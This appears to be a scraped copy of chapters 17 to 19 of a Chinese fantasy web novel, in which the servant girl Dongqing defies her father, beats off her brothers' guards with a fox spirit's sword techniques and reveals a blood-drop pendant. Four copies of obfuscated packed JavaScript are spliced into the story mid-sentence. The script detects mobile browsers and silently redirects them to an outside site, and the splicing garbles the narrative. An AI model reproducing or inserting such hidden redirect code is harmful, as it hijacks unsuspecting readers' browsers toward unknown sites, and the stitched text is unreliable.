d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362862|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死我了,我还以为你养了只妖呢!”柳又青拍拍胸脯,“放心吧,我会帮他保密的。” 她打开放在石桌上的匣子,一股诱人的香气飘来,“今日休沐,我回了趟家,给你带了些吃的,我跟你说,我家厨子做饭可好吃了!” 冬青有些懵,她看着柳又青兴高采烈往外端菜的模样,心里思考了七八种可能,最后发现柳又青可能真的只是单纯的想给她分享些吃的。 难得她脸上露出这种神色,池南站在窗边,腹诽道。 “诶!那么多好吃的!”无相的注意力全都放在慢慢一桌佳肴上,他直流口水,这段时日跟着冬青可谓一点荤腥也没有,此时院落里飘来的香气简直快要把他魂儿勾了去。 柳又青乍乍乎乎的摆碗筷,见冬青只顾着夹自己面前的菜,直接把她碗抢来,挨个菜给她夹了个遍。 冬青阻拦不及,精致的瓷碗再度回到手上时,里面的菜已经堆成了小山,她都不知道该如何下筷了。 偏柳又青还在一旁催促,“快尝尝,这道蟹粉狮子头可好吃了!” 冬青架不住盛情,夹了一筷子,正要送到嘴边,忽然察觉到什么,保持着唇齿微张的姿势扭头看去—— 窗边俨然站着一个眼冒绿光的饿死鬼和一只假装不在意实际疯狂吞咽口水的红狐狸。 “噗,”冬青没忍住,发出一截短促的笑声,随后放下了筷子。 “怎么了冬青?”柳又青凑到她面前,马尾小辫儿坠着的红玛瑙在阳光下莹润生辉,她问,“是不合胃口吗?” “不是,”冬青下巴朝窗根扬了扬,“那还有两个饿死鬼。” 柳又青顺着她的目光看去,只看见了一只扭着头看向别处的别扭狐狸,“两个?” “啊。”冬青忘了她看不见无相,耐心解释道,“还有一个是小红的剑灵,小红能看见他。” 在柳又青看不见的地方,无相疯狂朝冬青点头。 冬青心领神会,问:“红豆,他们跟着我成天吃归元果,”她的目光移向满桌佳肴,“能否分给他们吃一些?” “那有什么不能!添两双筷子的事!”柳又青大方的很,她招呼池南和不见其人的无相,在桌上摆了两副碗筷。 无相饿狼一般扑上桌,饥不择食的开始风卷残云。 盘子里的菜以肉眼可见的速度减少着,真看到空中飘着一副碗筷,柳又青终于对还有第四个人的事有了实感。 池南嫌弃地眯起眼,不忍看无相饿死鬼一般的做派,但他不得不承认,肚子确实有些饿了。 他跳上桌,即便暂栖于狐狸身躯,但他还是固执的保持着一些人的习惯,例如现下他纡尊降贵地用真气拿起筷子,堪称端庄地往嘴里送了一口红烧肘子。 金色竖瞳微微睁大,没想到柳又青还真没夸大其词,被归元果折磨多日的他此刻就像渴了三天三夜的人遇到了一汪清泉,喝了一口之后感觉整个人都升华了。 冬青也重新动起筷子来。 “怎么样,没吹牛吧?”柳又青端着一碗杏仁酪,慢条斯理的用银匙往嘴里送着。 “没吹没吹,太好吃了!”无相在一边好吃到流泪。 “勉为其难算得上好吃吧。”池南吃好了,慢条斯理地用方巾擦了擦嘴巴。 叮—— 冬青正要开口,院门口被她新系上去的铃铛清脆的响了一声。 守山弟子高举着手里一个白色的信封,踮起脚向院落里张望,他扬声道:“冬青——” “有你的信!” 17. 第 17 章 “信?” 冬青道了谢,从守山弟子手里接过白色信封,正反翻看了一下。 信封上除了“冬青收”三个字外什么都没写。 “这是谁寄来的信?”柳又青嘴里还叼着半块栗子糕,凑上来看。 “不知道。”冬青从来没有收到过信,也想不出有谁会给她寄信。“先吃饭吧。” 她进屋,把信封放到桌案上,随即抬脚向屋门走去。 走了两步,她突然向后望了一眼。那白色信封就静静躺在桌案上,她转过身,走回去拆开了信封。 无相夸个不停的声音从窗缝飘来,屋内却静悄悄的,她抬头,恰好能看到埋头干饭的三人。 她把黄色的内笺从信封中抽出展开,快速的扫了一眼。 上面是她熟悉的,她的父亲闻儒可的字迹。 “明日回来一趟。” 信笺上只有这短短一句话,冬青便已经明白了始末。 她倒是把自己那两个哥哥忘了,想必他们俩现在一定难受极了。 她把信笺装回信封,心里一哂,这是向他们的好父亲告她的状去了。 屋外阳光正好,屋内却阴冷生寒。冬青若无其事地走出屋子,回到石桌前。 无相吃的五饱六撑,腆着肚皮靠在拂尘上打嗝,桌上的菜肴被他祸害了个遍,冬青坐下时基本已经没剩什么了。 这时一碗莲子羹被一只毛茸茸的爪子推到视野里,她有些诧异地看向池南,后者斜睇了她一眼,跳下桌去。“剩一碗莲子羹,吃不下了。” 冬青看向往屋内走的狐狸,脊背上有一小撮打了结的毛,在满背顺滑的毛发中格外惹眼。 “吃饱了就要睡觉,多谢你款待喽小红豆。”无相躺在拂尘上飘飘悠悠的离开了。 “剑灵说谢谢你。”冬青捧着莲子羹,转达道。 柳又青豪迈地向空气一拱手,然而剑灵早就不知道跑到哪里酣睡去了。 待柳又青离开后,冬青进入识海修炼了一会,又拿着扫帚像模像样地舞了一个时辰,才满头大汗的走进屋。 桌案上昏黄的烛火照亮一隅,窝在竹椅里的狐狸被暖光拥抱着,看起来已经睡着了。 池南很少进冬青屋里,也只有白天才会偶尔驻足,有几次冬青晚上睡不着来院子里数星星,看见茂密的树冠中垂下一条红尾巴,才知道他每晚都是在哪度过的。 像这样在她屋里睡着,还是第一次。 她轻手轻脚地坐到桌案前,摊开了那张信笺。 她手指无意识地捻搓纸角,烛火照亮她轮廓清晰的侧脸,在她黑眸中轻轻摇曳。 忽然眸中火光一动,微凉的夜风从窗棂灌进,她连忙用手围住烛火,起身关窗。 哗啦一声轻响,信笺被风扬起。 冬青关好窗子回首,正好见那张纸在空中摇动两下,稳稳盖在了池南脑袋上。 纸下的身躯没动。 冬青轻轻松了口气,她蹑手蹑脚的靠近,正想把信纸从池南脑袋上拿走。 啪—— 信纸被一只爪子狠狠的拍在椅座上。 池南睁开眼睛,有些烦躁地扫了一眼僵在自己头上的手,又向下扫了一眼被他拍下的信纸。 “你醒了。”冬青收回手。 “嗯。”池南甩了甩头,他怎么在这里睡着了。 冬青从他掌下抽出信纸,折好收进信封里,“明日我要下山一趟,托红豆为你们俩带饭了。” “那信是你爹给你寄的?”池南问。 冬青动作一滞,“嗯”了一声。 “闻儒可?”池南继续问。 “是。” “既然不想去,在山上待着就是。他既没把你当女儿,你又何必非要回这个家。” 烛火微动,在墙壁下投下单薄的侧影。冬青背对着他,半晌轻声道,“因为我还想继续留在仙人顶。” 闻儒可很少管教冬青,更多时候都像没有她这个人存在一样。但若是他开了金口,冬青便没有不应的份。如果违逆了他,那么她可能连现在的自由都没有了。 池南沉默了一瞬,轻轻跃下竹椅,走到门边,闷声道,“那你自己当心,早些歇息。” 翌日清晨,木鸡尚未司晨,冬青便已经起身。 她先去后山摘了点野菜,又趁弟子们都没起摘了一篮归元果藏在花圃里,随后回到院子里拿起扫帚,学着剑修弟子起势。 足下微错,她双手持棍用力向前刺去。 忽然,她感觉到手臂被一股力量向上一顶,手中扫帚顺势摆成平直。 “你们仙人顶没有用棍的吗?”池南从篱笆外跃进来,“放松,跟着我来。” 一股和煦的真气萦绕在她周身,带动她的四肢进行下一式。 真气如温热的手掌托起她的胳膊和左腿,随后猛的向前一推她的手肘,手中扫帚向前破空而去,随后真气下压,扫帚“啪”的一声拍在地上,荡起尘土纷飞。 “怎么想起来练棍?”池南一边操纵真气控制她的动势,一边问道。 冬青用心记着一招一式,简短答道,“防身。” “那我教你几招杀招。”池南扬起唇角,真气陡然迸发。 他的声音听起来带着少年人的张扬自信,“记好了,这可是独门秘籍,我只教一遍。” 方才如风一般和煦的真气陡然变得凌厉,一招一式皆裹着精准又狠厉的杀意。 “这招,叫蜻蜓点水。” 面前忽然出现一把由真气凝成的剑,直朝冬青面门而来。 冬青还不及作出反应,另一股真气便带着她转腰沉腕,扫帚头自上而下扫起,掀开对面那把剑后飞速欺身上前,扫帚头上扬,直取对面咽喉而去。 蜻蜓点水一般以三两拨千金之势化解对方剑招后一击毙命。 果然是杀招! “这招,叫惊风乱飐。” 手中扫帚忽然变势,与剑身“铿”地一声撞在一起,随后手腕翻飞,扫帚棍身绞住剑身快速搅动,棍尖直捣对方手腕,直至对方将剑脱手而出。 随后拧身送肩,一击直中对方心窝,动作行云流水,一气呵成。 “最后一招,星垂平野。” 冬青平复了一下呼吸,面前长剑仍是直奔命门而来。 真气忽地按下她的肩,她折腰后仰,剑身贴着鼻尖而过,随后旋身飞起,足尖轻点剑身,双臂发力,扫帚以千钧之力当头砸下。 “先教你三招。”池南收了真气,“就算只学个皮毛,也够你横扫一方了。” 冬青大汗淋漓,浑身却如打了场胜仗般畅快,她语气轻快,“你有些本事。” “这叫有些?你未免也太小瞧我。”池南哼哼道,“这本是剑招,你若先以棍练之也未尝不可。” “多谢。”冬青撩了一捧清水泼在脸上,随后从藏在花圃的篮子里拿出两颗新鲜的归元果,放在井水里洗了洗,递到池南面前。 池南如今一见那通红的果子就喉咙发涩,他咽了下唾沫,“你就是这么谢我?” 我这可是独门秘籍! 说好的好吃好喝呢! “刚摘不久,还新鲜着。”冬青把归元果放在石桌上,随后从腰袋里拿出一块包裹严密的小方巾。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362863|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她将小方巾一层一层展开,池南数不清究竟扒了多少层,终于露出了里面躺着的一串铜板。 “……” 何必裹这么严实,这点子钱就算扔在路边,也未必会有人捡。从没在钱上受过委屈的池南腹诽道。 冬青把铜钱摊在手心,一枚一枚细细数着。 “回来的时候可以买半只鸡犒劳你。”冬青经过缜密的计算得出结论。 听到此话的池南一阵沉默,一边庆幸方才揶揄的话没说出口,一边想给方才小人之心的自己两个巴掌。 “不……不用了。”池南看向冬青洗得发白的袖口,“你自己攒着吧,归元果……也能吃。” 如此折腾一番,日头也已经高了起来,冬青起身,目光再次落到池南脊背上那一小撮打结的红色毛发上。 她没说什么,兀自推门离开。 山风清爽,吹动她额前碎发,可她下山的脚步却算不上轻快,甚至有些沉重。 守山弟子注意到她,撤了水幕结界。“冬青,下山啊?” “嗯,下山。”冬青走出恢弘的山门。 “诶,冬青。”守山弟子叫道,“今晚回吗?” “回。”冬青肯定道。 下了山,那始终萦绕的雾气也消散了,周围的声音逐渐嘈杂起来,烟火气十足。 闻家的宅子就在长生山脚下的嵩宁镇,镇子上热闹非凡,各色铺子林立,沿街叫卖的、卖艺杂耍的络绎不绝。 冬青有些时日没回来过了,她途径幼时偷听的书塾,院内的槐树似乎又粗壮茂盛了些。 她走过书塾,停在一座气派的府邸门前。 “闻府”两个大字虬劲有力,檐角精致的灯笼在微风中轻轻打旋。冬青走上石阶,站在朱门前。 她抬手,敲响了门。 朱门里传来窸窣声,门吱呀一声开了一条一人宽的缝,一位身材枯瘦的老伯站在门里。 两人对视的一瞬间,老伯忽地睁大了浑浊的眼,声音颤抖,“冬青!” “贺伯!”冬青的声音也不住颤抖,上前牵住了贺伯干瘪的手,“你怎么又瘦了。” “快进来。”贺伯将门打开,把她迎了进来,他手轻轻碰了一下她的发顶,“你也瘦了,小冬青……” 他抬手抹了一下眼睛,“你怎么回来了?” “闻儒可叫我回来的,估计是为了闻老大闻老二的事。”冬青冷声道。 “在府里不能直呼家主名讳!”贺伯连忙低声止住她,他回忆道,“大少爷和二少爷回来的时候,脸上已经溃烂的不成样子了。” “自作自受。” “冬青,”贺伯叫住她,“这件事,该不会与你有关吧?” “是他们想害我在先。”冬青一边往前走一边哂道。 “哎呀!”贺伯连忙拉住她的胳膊,“家主为这件事发了好大的脾气,你回来干什么呀!快走!快走!” “贺伯,我跟闻老大闻老二不一样。”冬青反手握住他的手,声音平静道,“我敢做,就敢当。” 她安抚地拍了拍贺伯的肩,随后直奔正堂而去。 正堂内,上首的金丝楠木椅里坐着一面目严肃的男人,他身着上好的碧城色云锦,带着玉扳指的手端着茶杯,茶气氤氲,丝丝缕缕遮挡在他面前,让人看不清神情,只能感受到那无声的威压弥漫开来。 闻老大闻老二带着面具站在一边,目光如毒蛇一般缠在不卑不亢走进屋的姑娘身上。 “家主。”冬青沉声叫道。 闻儒可放下茶杯,神色淡漠地看着冬青。 “跪下。” 18. 第 18 章 冬青纹丝不动,只是掀起眼皮冷冷睇了眼闻氏兄弟,神情淡漠。 “爹让你跪下!你聋了吗?!”闻向舟指着她的鼻子,气急败坏地吼道。 “让我跪也得有个理由吧,我做错什么了?”冬青像一根竹竿一样杵在原地,她下颌轻抬,直视闻儒可,“家主,您一封信把我叫回来,就是为了让我跪下的吗?” “舟儿和度儿的脸,是不是你干的?”闻儒可声音冰冷刺骨。 冬青看向闻向舟和闻向度,二人面上各覆着一副轻薄镂空的银面具,从孔隙中隐约可见下面溃烂流脓的皮肉。 她嘴角勾起一抹讥诮,笑道,“我这两位好哥哥的脸是怎么了?” “你还有脸问!还不是你使些阴毒的法子,下毒于我俩!”闻向度气的发抖,眼神怨毒地恨不得要将冬青撕烂。 “那可真是冤枉我了。”冬青摊手,“我连书塾都没上过,去哪学的下毒的本领,能连家主都束手无策呢。” 闻向舟:“你日日待在仙人顶,定是从藏经阁里找的毒方!” “我只是个杂役,如何进得去藏经阁?”冬青笑得轻蔑,“你又为何如此笃定这毒方就是从藏经阁找的?” “还是说……”她看着闻氏兄弟越来越扭曲的脸,笑容更冷了些,“这根本就是你们二人要去祸害别人的法子,最后反倒自作自受了。” “你胡说!”闻向舟和闻向度被戳穿,声音气的发颤,“明明是你调换了茶杯!” “对,茶杯是我调换的。”冬青逼视他们,不屑嗤笑,“那又如何,你们如今羞于以真面目示人,纯粹是自食恶果。” “够了!”一旁的闻儒可猛地一拍桌案,震得茶盏剧烈晃动,他怒目瞪向两兄弟,“你们两个,滚回去!” “你,”他看向冬青,“去祠堂旁边的柴房跪着,没有我的允许不许起来!” 冬青又笑了,只不过是被气笑的,“犯错的是他们,受罚的却是我吗?” 门口候着的两个家仆在闻儒可的示意下一左一右冲进来,粗暴地扭住了冬青的胳膊,把她往外拖。 “放开,我自己会走!”冬青猛的甩开钳制,在闻儒可愠怒的眼神中轻哂一声,“幸亏从小到大你从未教导过我,不然,怕是我也和闻向舟闻向度一样,变成一个彻头彻尾的废物了。” “孽障!”闻儒可抄起茶杯,狠狠掼在地上,“还不快把她带下去!” 飞溅的碎瓷划破了冬青的脸,她浑不在意地用指腹一抹,血迹在脸颊上晕开,她冷哼一声,转身大步离去。 两个家仆一左一右跟在她身后,该押在其肩膀上的手无处安放。 “你们俩去忙吧。”贺伯走上前来,“我带她去。” 两家仆对视一眼,默默退下了。在两人消失在视野里的那一刻,贺伯立刻愁容满面地拉住她。 “哎呀!小冬青,你何必这么倔,跟家主服个软,说两句好话,这件事情不就揭过了?”贺伯走在她身边,苦口婆心地劝道。 “揭不了。”冬青唇线紧绷,脚下生风,“我也没打算跪。” 不是她的错,她凭什么跪。 冬青在祠堂门前停下,里面供着上百盏长明灯,幽幽灯火映照着描金排位上一个个陌生的名字,她从未进去过,只匆匆扫了一眼,便直奔一旁的柴房而去。 柴房内堆着几捆干柴,冬青熟稔的绕过柴火堆来到最里面。靠墙根的地方铺着一床薄被子,上面积了一层薄灰。 她弯腰抱起被子,拿到门口抖了抖。 “贺伯,我就待到天黑,天一黑,我就走。” 她拿被进屋,重新铺在角落,上面的灰已经被掸的七七八八,她自如地躺倒在被子上,屈肘垫在脑后。 贺伯看着闭目养神的冬青,叹了口气,“饿不饿?我去厨房给你拿点吃的?” 冬青本想下意识拒绝,但想到竹居还有两个饿死鬼,便点了点头,“贺伯,帮我多装一些吧,晚上带回去吃。” “哎,好。”贺伯弓着腰,迈着碎步离开了。 室内重归寂静,空气中浮动着点点尘埃,冬青翻了个身,在熟悉的灰尘混着木头的干燥气味中迷迷糊糊睡了过去。 梦里她站在一个巷口,太阳很毒,照的一切都白晃晃、朦朦胧胧的,一个看起来两三岁大的小姑娘举着糖葫芦从对巷欢快跑来,边跑边向后招手。 冬青避之不及,小姑娘猛地撞在了她身上。 “抱歉……” 她道歉的话音还未落,小姑娘便一骨碌从地上爬起来,拍拍衣服上的尘土,继续向前跑去。 小巷尽头,一个看不清面容的女人蹲下身,张开了怀抱。 小姑娘一路跌跌撞撞地跑过去,一头扑进了女人的怀抱中。 “娘!” 冬青听见小姑娘清亮的声音说道,“给你吃糖葫芦。” “娘不吃,你吃。”女人温柔地摸了摸小姑娘的头。 不知道为什么,明明没有看清女人的面容,但冬青就是近乎本能的觉得那一定是一位极美、极温柔的女子。 她不由自主地抬起脚步,轻轻走到那扇院门前。 “娘,”小姑娘舔着糖葫芦,“爹什么时候回来?” “爹……”女人蹲下身,为小姑娘整理好蹭乱的衣襟,语气有些艰涩,“爹过两日便回来了,回来的时候会给你带好多好多礼物。” 小姑娘立刻开心地笑了起来,眉眼弯弯,欢天喜地地在院子里绕圈跑。 一条红色水滴形状的吊坠自她衣领间荡出,随着她跑动在阳光下轻晃。 不知怎么,冬青突然想起了小红背上那撮打结的毛。 太阳光越来越强烈,她揉了揉眼睛,再睁开时,却发现眼前景象逐渐消融在刺眼的白光里。 冬青眯起眼睛,见那女人忽然转头,目光似乎穿透梦境,向她望了过来。 “娘……”冬青猛然睁开眼睛,翻身坐起。 窗外已然天黑,被子旁放着贺伯带来的一匣子吃食,已经凉透。 她还未从梦里温柔又怅惘的情绪里完全回过神来,外面忽然传来杂乱的脚步声,闻向舟和闻向度刻意压低的声音断断续续的飘进冬青的耳朵里。 她站起身来,看了一眼角落里不知道用了多少年的旧扫帚,将其攥在了手里。 砰的一声巨响,柴房本就摇摇欲坠的木门被大力踹开,闻向舟和闻向度带着一群侍卫鱼贯而入,把冬青逼至角落里。 “爹说让你跪着,你就这么不把他的话放在眼里吗?”闻向舟踱步上前,扫了一眼地上的匣子,一脚踹翻在地上。 包子糕点从里面落了一地,沾了地上的灰,已经不能吃了。 “这是谁给你的?姓贺的那个老东西?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362864|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他将匣子用力踢的更远了些,木质匣身撞到墙上,登时四分五裂。 “你要干什么?”冬青黑眸浸着月色,在幽光下愈发森然。 “干什么?”闻向度晃晃悠悠的走上前来,狞笑一声,“冬青不服管教,目无尊长!来人,家法处置!” “这时候想起来我是闻家人了?”冬青握紧手中扫帚,棍尖一横,将蠢蠢欲动的侍卫拦下。 侍卫们看了看冬青,又看了看闻氏兄弟,显然被“闻家人”三个字唬住了。 趁侍卫们愣神的片刻,冬青撑着扫帚,攀着窗沿用力一蹬,灵巧地从窗缝里跳了出去。 “愣着干什么!”闻向度吼道,“快抓住她!” 侍卫们如梦初醒,一窝蜂向狭窄的小门挤去。 小门仅容一人通过,侍卫们你推我我推你,竟严丝合缝的卡在了门口。 “一帮虾兵蟹将!”闻氏兄弟见此情形气不打一出来,抬脚狠狠朝卡在门口的侍卫的屁股上踹去。 那侍卫一个踉跄,像拔瓶塞一样滚了出去。 紧接着其余侍卫鱼贯而出,呼喝着向着冬青追去。 破空声从脑后传来,冬青下意识侧头,拳头擦着她脸颊呼啸而过。 她稳住下盘,手中扫帚灵蛇般一转,扫帚把狠狠捣向侍卫的胃。 “呕——”那侍卫脚下一软,跪地干呕。 其余侍卫蜂拥而至,拔刀相对。 夜风骤起,偌大的院落内只能听见衣摆摩擦的声音。 冬青调整呼吸,警惕的端起扫帚,摆出防御姿态。 “你不会以为一把破扫帚能挡刀吧?” 一个侍卫猛冲而来,刀尖劈空直对冬青而去。 “呼——”冬青轻轻呼了一口气,“蜻蜓点水。” 她在刀尖离自己三尺时骤然撤步拧身,双手握紧扫帚迎着刀刃,使出全身力气向上一挑! 刀身果然被挑开些许,电光火石间,冬青抓住机会,手腕翻转,扫帚头“咚”的一声猛击侍卫咽喉。 那侍卫捂着喉咙后撤两步,痛苦的跪了下去。 “她什么时候有了这本领?!”闻向舟懵了,按理说这个时候冬青应该已经被押在地上向他求饶了才是! “她刚才说……蜻蜓点水?”闻向度脸上惊疑不定,喃喃道,“你听过,无相剑法吗?” “无相剑法?”闻向舟看着与侍卫鏖战的冬青,“折云宗池南的剑法?她怎么会的?” 他再次把目光投向那天青色的身影上,迟疑了片刻后摇了摇头,“不可能不可能!折云宗离此地十万八千里,她怎么可能与池南有交集!” 正说着,忽然一阵劲风呼啸袭来,紧接着就是侍卫此起彼伏的痛苦哀嚎。 一股真气测流猛然迸发,两人被逼的连连后退,待到站稳脚跟,两人定睛望去,只见方才包围冬青的侍卫被冬青一扫帚挥出的带着真气的劲风击倒,一个个蜷在地上打滚。 冬青不可思议的看着自己手中扫帚,若有所感的抬头望去。 高墙青瓦之上,月光粼粼,一只火红的狐狸蹲踞在墙头,将身后圆月挡的严严实实。清泠月光自他背后轮廓四散流泻,在风中晃动的毛发根根分明,如火焰燃烧。 冬青微微睁大眼睛,一个带着几许慵懒笑意的清冽声音自耳边响起。 “还行,学的像模像样的。” 19. 第 19 章 柳又青心情很好,提着沉甸甸的食盒蹦跳着往竹居去。 冬青好不容易拜托她一件事,她提前两个时辰便下山让她家厨子做一桌山珍海味,装了满满当当两个食盒,用保温符仔细封好,掐着饭点上山投喂。 “开饭喽!”她兴高采烈的推开竹居院门,“小红!剑灵!出来吃饭了!” 无人回应。 她又叫了两遍,还是没人应答。 “奇了怪了,跑哪去了?” 池南彼时正打的酣畅,他这段时日元神恢复的好,真气自然也充盈了一些,带着冬青打闻府侍卫简直如砍瓜切菜。 侍卫们一个个嗷嗷叫着冲上前来又一个个倒地哀嚎,现下已经没有能站起身来的了。 冬青用袖口擦了擦额头上的汗,将扫帚往地上一杵,向闻氏兄弟扬了扬下巴,“你们俩,还打吗?” 听到此话的池南喉间溢出一声笑,“狐假虎威。” 闻向舟和闻向度注意力全在冬青身上,丝毫没注意到墙头趴着一只狐狸,两人一时面面相觑,进退维谷。 “别打了吧,剑术课是怎么逃的,你俩心里比谁都清楚。”冬青懒得看他们那副怂样,把扫帚往旁边一扔,转身向府门走去。 闻向舟和闻向度被她的话怼地面红耳赤,对着她的背影跳脚大骂,但就是没有一个人敢追上前来。 冬青走到府门,“贺伯,我走了。” 贺伯老泪纵横,“孩子出息了……长大了……” “好了贺伯。”她拍拍贺伯枯瘦的肩,“保重。” 出了闻府,冬青感觉空气都流通了,月华铺在地面上,照的前方银亮一片。 一方银色的青砖上,池南正站在那里等着她。 见她来了,他懒散地向上一撩眼皮,视线触及她面庞时蓦地顿住,“你脸上受伤了。” “小伤。”冬青快步走上前,蹲下身拍了拍他的头,“你怎么来了。” 池南微微躲了一下,有些不自然地说:“无相等着你那半只鸡呢,他饿了,非缠着我下山寻你。” 无相顿时瞪大了眼睛,心道你这睁眼说瞎话的本领是从哪学来的,他才没说过这话! “嗯?”冬青疑惑,“红豆没给你们带吃食吗?” 池南踢了无相一脚,后者吱唔半天,“山珍海味昨日吃腻了,今天就想吃点清淡的。” 冬青眉头微扬,睁大眼睛看着无相,清淡的难道指的是半只鸡吗? 她摸了摸袖袋,好在那半吊铜钱没在方才的打斗中甩掉。 毕竟这个海口是她夸下的,那今日就奢侈一把。 “走,买烤鸡去。”冬青转身迈向一旁一条灯火通明的小巷,转身对两人招了招手。 “这……”无相咂巴两下嘴,转向池南,“这好吗?” 她都穷成那样了。 “难得她今日兴致不错。”池南抬眸看向前方脚步轻快的身影,跟了上去,“走吧。” 越往小巷深处走,酒肉香气便愈发浓郁诱人,前方一家小铺子挂着明亮的红灯笼,晃动的灯身上描着“王记”二字。 冬青在门口驻足,抬头看了一眼牌匾后径直走了进去。 “客官,来点什么?”小二热情的招呼着。 “一只烤鸡多少文?”冬青落座,问。 小二用肩上搭着的汗巾擦了擦手,“六十五文一只,咱们家的烤鸡,十里八乡都赞不绝口!” “半只三十文。”冬青面不改色地从那小吊钱里解下三十文,推到桌角。 “哎呦,客官您……” “时辰不早了,你们家的鸡只剩那两只了吧。”冬青拄着下巴,看向烤炉,“看着个头小,一看就是挑剩下的,我不买,明日你也卖不出去。” 她食指点了点桌子,“就三十文。” 那小二舔了舔干裂的嘴唇,认命的收下了那三十文,去烤炉烤鸡去了。 冬青摊开手掌,数了数,还剩下十个铜板。 “诶。”无相用手肘怼了怼池南,“小冬青怎么看上去心情还不错,她只剩十文钱了!” 池南沉默地看她心满意足地将那十个铜板串成串,层层叠叠包好,收进袖袋。 “三式无相剑法换半只鸡,应该……还挺值当的吧?” 那他心里怎么还会有点愧疚呢? 无相摇着拂尘,闻言啧啧两声,“你池大少爷,是不会明白穷人的痛苦的。” “说的像你明白一样。”池大少爷鄙夷。 忽然一阵肉香飘来,原还在斗嘴的两人目光立刻被吸引了去。 一只外焦里嫩、滋滋冒油的半只烤鸡被小二端上桌来,“客官,您慢用。” 冬青撕下唯一一只鸡腿,递到两人面前。 出乎意料的,两人都没动。 “小冬青,你吃。”无相把她的手推了回去,“昨日珍馐吃多了,我撕些边角尝尝就成。” 池南在冬青把鸡腿挪到他面前之前抢先说,“我也是。” 冬青半信半疑的把鸡腿放到自己碗里,撕了一些嫩肉放在了两人面前。 夜风微凉,轻轻吹动溅着油污的门帘,这一顿三人吃的都不错,酒足饭饱之后准备打道回山。 巷口处传来一阵喧哗,随后一排形态各异、流光溢彩的鱼灯从巷口经过,斑驳的光影在地上流动,忽明忽暗。 “今天是什么日子吗?”池南问。 “不知道。”冬青朝前走去,脑袋探出巷口。 绚烂瑰丽的鱼灯队伍长得看不见尽头,行人被这浩大的阵仗吸引驻足,两侧站满了围观的百姓,三言两语地讨论鱼灯背后是哪家的大手笔。 冬青逆着人流行走的格外艰难,忽然鱼灯队伍换了个阵型,围观百姓纷纷下意识向前拥了一步,竟意外给她空出来了个难得的喘息空间。 她蹲下身,向身后的池南伸出了胳膊。 “先上来吧,人太多了。” 池南看向冬青被斑斓光点映亮的面庞,鱼灯缩成一个个小光点在她黑眸中流动,如一排流动的星河,熠熠生辉,衬得她比往日多了几分神采。 他抬头望去,无数条晃动的腿挡在面前,什么也看不见,他犹豫了一下,从冬青胳膊上蹿到她肩膀上。 好闻的竹叶清香萦绕在他鼻尖,两人的距离非常近,近的他甚至能看清她脸颊细密的绒毛。 他心尖好似被羽毛撩了一下,被烫着一般迅速撤回目光,调整了一下姿势,在她肩头站稳。 “扶好了。”冬青轻声嘱咐了一句,随后侧身在摩肩接踵的人流里缓步前行。 一路上,冬青时不时侧头看看,也不知道是在看瑰丽的鱼灯,还是热闹的人群。 前方一群小孩嬉笑着跑开,其中一个低头追着地上鱼灯游动的影子,“咚”的一声撞在冬青身上,她一个踉跄,弯腰扶住了小孩。 站在她肩上的池南脚一滑,差点被甩下去,他下意识的抓住她肩膀上的衣料,指尖擦过她衣襟,无意间从中勾出了什么。 一块水滴形状的琉璃坠子从她衣领间荡出,琉璃内封存着的红色液体翻涌。 在看清那琉璃坠的刹那,池南瞳孔骤然收缩。 红色、水滴。 血镝! 他辗转多国都未能追寻到踪迹的血镝,就这样阴差阳错的出现在了他眼前。 他看向冬青,冬青似有所感的低头,把被他勾出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362865|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琉璃坠塞回衣襟内。 “冬青。”他重新站稳,声音带着一丝不易察觉的紧绷,故作轻松地轻唤了一声。 “嗯?”冬青终于挤出人群,偏头看向他。 池南佯装好奇,“你这琉璃坠挺别致,在哪买的?” 她有些诧异,没想到池南竟然会对这种东西感兴趣。 “不知道,我从小就带着。”她如实答道。 “闻儒可给你的?”池南想了一下,觉得不大可能,“还是你娘给你的?” 说完他突然反应过来,好像从未听过冬青谈起她娘。 “应该是我娘吧?”冬青想起梦里的自己颈间似乎也带着这样一条琉璃坠,只不过里面的红色液体是满盈的。 她从衣襟里扯出琉璃坠,琉璃水滴身在灯火下流转着微光,里面的红色液体只到水滴最饱满的位置,她贴近耳边晃了晃,还能听到液体撞击琉璃内壁的细微声音。 “之前好像是满的。” 池南的目光猝然从血镝转向她的脸颊。 